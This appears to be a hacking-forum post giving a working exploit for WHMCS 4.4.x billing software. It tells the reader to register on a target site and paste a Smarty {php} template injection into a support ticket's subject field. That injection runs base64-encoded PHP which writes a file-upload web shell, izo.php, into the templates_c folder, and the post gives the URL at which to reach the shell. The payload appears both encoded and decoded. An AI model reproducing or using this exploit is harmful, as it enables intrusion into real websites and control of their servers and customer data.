4.4.x version
patched version not working
Register on Ur Target Website

Code:
www.site.com/whmcs/register.php
Open a Ticket and Past the Fallowing Code in the Subject Field:

Code:
{php}eval(base64_decode ('JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJq
MGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMTFiSFJwY0dGeQtkQzltYjNKdExX
UmhkR0VpSUc1aGJXVTlJblZ3Ykc5aFpHVnlJaUJwWkQwaWRYQnNiMkZrWlhJaVBpYzdEUXBsWTJo
dklDYzhhVzV3ZFhRZwtkSGx3WlQwaVptbHNaU0lnYm1GdFpUMGlabWxzWlNJZ2MybDZaVDBpTlRB
aVBqeHBibkIxZENCdVlXMWxQU0pmZFhCc0lpQjBlWEJsUFNKegtkV0p0YVhRaUlHbGtQU0pmZFhC
c0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzTkNtbG1LQ0FrWDFCUFUxUmJKMTkx
Y0d3bgtYU0E5UFNBaVZYQnNiMkZrSWlBcElIc05DZ2xwWmloQVkyOXdlU2drWDBaSlRFVlRXeWRt
YVd4bEoxMWJKM1J0Y0Y5dVlXMWxKMTBzSUNSZgtSa2xNUlZOYkoyWnBiR1VuWFZzbmJtRnRaU2Rk
S1NrZ2V5QmxZMmh2SUNjOFlqNVZjR3h2WVdRZ1UxVkxVMFZUSUNFaElUd3ZZajQ4WW5JKwtQR0p5
UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzYjJGa0lFZEJSMEZNSUNFaElUd3ZZ
ajQ4WW5JK1BHSnlQaWM3SUgwTgtDbjBOQ2o4KyIpOwokZm8gPSBmb3BlbigidGVtcGxhdGVzX2Mv
aXpvLnBocCIsInciKTsKZndyaXRlKCRmbywkY29kZSk7'));{/php}

Decoded Code:
Code:
$code = base64_decode("PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFy​dC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQg​dHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJz​dWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwn​XSA9PSAiVXBsb2FkIiApIHsNCglpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRf​RklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvICc8Yj5VcGxvYWQgU1VLU0VTICEhITwvYj48YnI+​PGJyPic7IH0NCgllbHNlIHsgZWNobyAnPGI+VXBsb2FkIEdBR0FMICEhITwvYj48YnI+PGJyPic7IH0N​Cn0NCj8+");
$fo = fopen("templates_c/izo.php","w");
fwrite($fo,$code);
Then go to
Code:
www.site.com/whmcs/templates_c/izo.php
izo.php should be upload shell